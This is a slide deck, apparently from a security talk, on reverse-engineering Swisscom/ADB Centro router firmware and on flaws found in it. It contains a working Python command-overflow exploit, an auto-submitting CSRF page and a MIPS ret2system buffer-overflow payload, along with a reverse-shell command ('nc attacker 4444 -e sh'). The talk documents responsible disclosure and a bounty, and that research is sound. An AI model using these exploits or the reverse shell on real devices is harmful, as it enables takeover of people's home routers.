  • 5. 5Attack Surface › ADB# show processes 256 0 2040 S logd 259 0 1308 S klogd -c3 271 0 832 S ec 343 0 3236 S cm 350 0 0 SW [dsl0] 363 0 0 SW [bcmsw] 364 0 0 SW [bcmsw_timer] 365 0 0 SW< [linkwatch] 5889 0 1132 S dropbear -P /tmp/dropbear-local.pid -l 20 -p 192.168 6227 0 1312 S telnetd Local -u 20 -b 192.168.1.1:23 -I 300 6898 65534 2292 S nhttpd -c /tmp/nhttpd.conf 7362 0 1000 S dhcps /tmp/dhcps.conf 7910 0 764 S dns 8014 0 1088 S miniupnpd -i ptm0 -a 192.168.1.1 -N -I 4 8026 0 736 S /bin/wpspbc 8223 0 2676 S /usr/sbin/hostapd -B /tmp/wlan/config/hostapd.conf 9164 0 1664 S /bin/sh /etc/rc.common /etc/rc.d/S11services.sh boot 9177 0 2940 S cwmp 9204 0 1316 S /bin/sh /etc/ah/printk_dump.sh 9353 0 884 S ec 9553 0 1312 S /bin/sh /etc/ah/procSentinel.sh cm 300 11846 0 1332 S /bin/sh DHCPv4Client.sh 11848 0 1320 S udhcpc -S -R -f -W rgH7sqo?h@5Y -t 500000 -T 4 -o -C 14753 0 792 S igmpproxy -c /tmp/igmpproxy.conf -p /tmp/igmpproxy.p 15287 0 3576 S voip 15688 0 740 S tproxyd 80 8080 1 192.168.1.1 /ui/swc/parentalcontro 15923 0 1056 S N chronyd -f /tmp/chrony.conf 16770 0 820 S radvd 16812 0 2036 S dibbler-server start
  • 6. 6Finding the firmware › Locate the firmware › https://www.swisscom.ch/en/residential/help/device/internet-router/centro- grande.html › Vx226x1_61400.sig › Version at the time › 6.14.00
  • 7. 7Extracting the firmware › Binwalk (https://github.com/devttys0/binwalk) › Firmware modification kit › ./extract-firmware.sh
  • 8. 8CPE WAN Management Protocol › Also known as TR-069 › Protocol that defines how to manage « Customer-premises Equipment » › cwmp binary › Listens to 0.0.0.0:7547 › iptables rule allows access only from certain Swisscom subnets
  • 9. 9Web interface › Web server is nhttpd (http://www.nazgul.ch/dev_nostromo.html) › If a binary file is accessed through the web interface, it executes it › Directory traversal → Code Exec in version 1.9.3
  • 10. 10Web interface › Mostly managed by a CGI called ui
  • 11. 11Emulating the device › OpenWRT (https://openwrt.org/) › Linux distribution for embedded devices › Qemu (http://wiki.qemu.org/Main_Page) › Machine emulator and virtualizer
  • 12. 12Configuring OpenWRT › make menuconfig › MIPS target › Add all debugging and networking tools › Cross-compile nhttpd › Generate ramdisk › Copy Swisscom firmware files to the image › Run image with qemu › qemu-system-mips -kernel openwrt-malta-be-vmlinux-ini- tramfs.elf -net tap -net nic -nographic -m 2048
  • 13. 13Setting up the image › nhttpd server serverroot /www serveradmin webmaster@adbglobal.com servermimes conf/mimes docroot /www/htdocs docindex lanhosts logpid /tmp/logs user nobody disablehttp 0 notfound 501 sslport 443 sslcert /etc/certs/server.crt sslcertkey /etc/certs/server.key sslcertca /etc/certs/ca.pem sslcertreq * serverlisten 0.0.0.0 servername localhost
  • 16. 16Web request overview nhttpd swc_login.yapl swc_common.yapl swc_firewall.yapl ... ui cm POST /ui/swc/login Environment setup Configuration command Get corresponding YAPL « script »
  • 17. 17Configuration manager › Used to view and modify the device’s configuration › Bound to localhost:9034 › Also /tmp/cmctl socket › Several possible commands › GETO, GETV, … › SET, SETM, … › RESET, REBOOT, ... › DUMP, EXPORT, ...
  • 19. 19Configuration manager › Main loop listen on localhost port 9034 socket = accept while 1: input = socket.recv(16384) handleRequest(input) def handleRequest(input): type = validateRequestType(input) params = validateRequestParams(input) callTypeHandler(params)
  • 21. 21Finalizing the image setup udhcpc -i br-lan cm touch /tmp/cmctl chmod 777 /tmp/cmctl nhttpd -c /www/nhttpd.cfg nc localhost 9034 DOM Device /etc/cm/tr181/dom/ DOM InternetGatewayDevice /etc/cm/tr098/dom/ CONF /etc/cm/conf/ ADD InternetGatewayDevice.WANDevice ADD InternetGatewayDevice.WANDevice.1.WANConnectionDevice ADD InternetGatewayDevice.WANDevice.1.WANConnectionDevice.1.WANIPConnection SET Device.IP.Interface.1.IPv4Address.1.X_ADB_TR098Reference InternetGatewayDevice.WANDevice.1.WANConnectionDevice.1.WANIPConnection.1 SET Device.ManagementServer.X_ADB_ConnectionRequestInterface Device.IP.Interface.1 SET Device.IP.Interface.1.Status Up SET Device.Ethernet.Link.1.Name br-lan SET Device.DeviceInfo.SerialNumber 123456 SET Device.IP.Interface.1.X_ADB_Upstream true SET Device.IP.Interface.1.X_ADB_TR098Reference InternetGatewayDevice.WANDevice.1.WANConnectionDevice.1.WANIPConnection.1
  • 23. 23Configuration manager › Special syntax › Similar to SQL in certain ways › SELECT =~ GETV › UPDATE =~ SET › Conditions › GETO A.B.C.[Test=1] › GETO A.B.C.[Test~1] › GETO A.B.C.[Test!1]
  • 24. 24Vulnerability #1 : Command overflow › Each call to recv is treated as a new command › By sending more than 16384 characters, we can craft a new configuration command › Logging in to the web interface generates a call to the configuration manager that looks like this › GETO Users.User.[Username=ATTACKER_CONTROLLED] › By providing a long username, we can exceed the 16348 limit and gene- rate a new request within the configuration manager › Allows complete control over the device › Change passwords › Allow remote access › ...
  • 25. 25Vulnerability #1 : Command overflow ui cm GETO Users.User.[Username=A AAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAA […] AAAAAAAAAAAAAAAAAAAAAAAAAAA REBOOTn recv(16384) recv(16384) send process(‘GETO Users……’) process(‘REBOOT’)
  • 26. 26Exploit #1 : Command overflow from requests import post payload = dict() payload['userName'] = ( 16358 ) * 'a' + 'REBOOT' + 'n' payload['userPwd'] = 'a' payload['login'] = 'Login' payload['language'] = '' while 1: r = post('http://192.168.1.1/ui/swc/login/index', data=payload) D EM O
  • 27. 27Vulnerability #2 : Login CSRF › Use CSRF to exploit someone else’s device <html> <body> <form method="POST" action="http://192.168.1.1/ui/swc/login/index"> <input type="hidden" name="userName" value="aaaaaaaaaa[...]aaaREBOOT%0a"/> <input type="hidden" name="userPwd" value="a"/> <input type="hidden" name="login" value="login"/> <input type="hidden" name="language" value=""/> </form> <script> document.forms[0].submit(); </script> </body> </html>
  • 28. 28Exposed web interfaces – Centro Business
  • 29. 29Vulnerability #3 : Buffer overflow(s) › Buffer overflow when parsing the name of XML files when performing certain commands (CONF, DOM, …) › Requirements › Arbitrarily-named XML file on the device › file and folder are both limited to 4096 in size parseFilesinFolder(folder): char path[4096]; files = scandir(folder) for file in files: if file ends with ".xml": strncat(path,folder,4096) strncat(path,file,4096) parseFile(filename)
  • 30. 30Exploit #3 : Creating the XML file › The PATHSAVE command takes 2 arguments › An XML filename › Property that needs to be saved › PATHSAVE /tmp/test.xml Users.User.1.Password › Can use this to write an arbitrarily-named file on the device › Exploit can then be triggered by prepending folder with lots of / › CONF /////////////////////////////////////[…]/tmp/exploit.xml
  • 31. 31Exploit #3 : Exploiting a MIPS binary Prologue Epilogue
  • 32. 32Exploit #3 : Exploiting a MIPS binary › No ASLR on the device › No NX › No canaries › A version of nc with the -e switch is present on the device › Try to call system(‘nc attacker 4444 -e sh’) › Arguments are not passed on the stack though, but in registers › $a0 › $a1 › …
  • 33. 33Exploit #3 : ret2system › Quick analysis gives address of system in libUclibc (Centro business) : › Libuclibc base : 0x2aaf8000 › System is at offset : 0x54610 › Real address : 0x2ab4c610 › Need a gadget in order to get our argument to system in $a0 › Make $a0 point to address in the stack › $s0 is also under our control
  • 34. 34Exploit #3 : ret2system /tmp/aaaaaaaaaaaaaaaax2axb4xc6x10bbbbbbbbbbbbbbb bbbbbbbbbbbbbbbbbx2axb1xcaxacaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaareboot; #bbbb.xml $ra → gadget $s0 → system command 64 * ‘a’ (addiu $a0,$sp,64)
  • 35. 35Exploit #3 : Full exploit D EM O
  • 36. 36Disclosure timeline › 9 September 2015 : Initial disclosure to Swisscom › 10 September 2015 : Vulnerabilities acknowledged by Swisscom › 11 September 2015 : Vendor notified (ADB) › 18 September 2015 : Confirmation of vulns & quick fix available › 24 September 2015 : Test of quick fix › 29 September 2015 : Contact with ADB › October 2015 : Rollout of quick fix to all devices › January 2016 : Status full fix : › Centro grande : 100 % › Centro Business 1.0 : 50 % › Centro Business 2.0 : 100 % › 13 June 2016 : Disclure
  • 37. 37Swisscom bounty › Combination of flaws rewarded with 3’000 CHF › Donated to the Ligue Vaudoise contre le Cancer › Swisscom Bug Bounty program is up & running › Talk is tomorrow afternoon :)
  • 38. 38Conclusions › Attackers › Look into other processes on the modem › miniupnp › voip › Embedded devices are found everywhere nowadays › Huge attack surface › Less people reversing firmwares than searching for XSS › Defenders › Consider 0days in your penetration tests › Test your defense in depth › Test your ability to detect breaches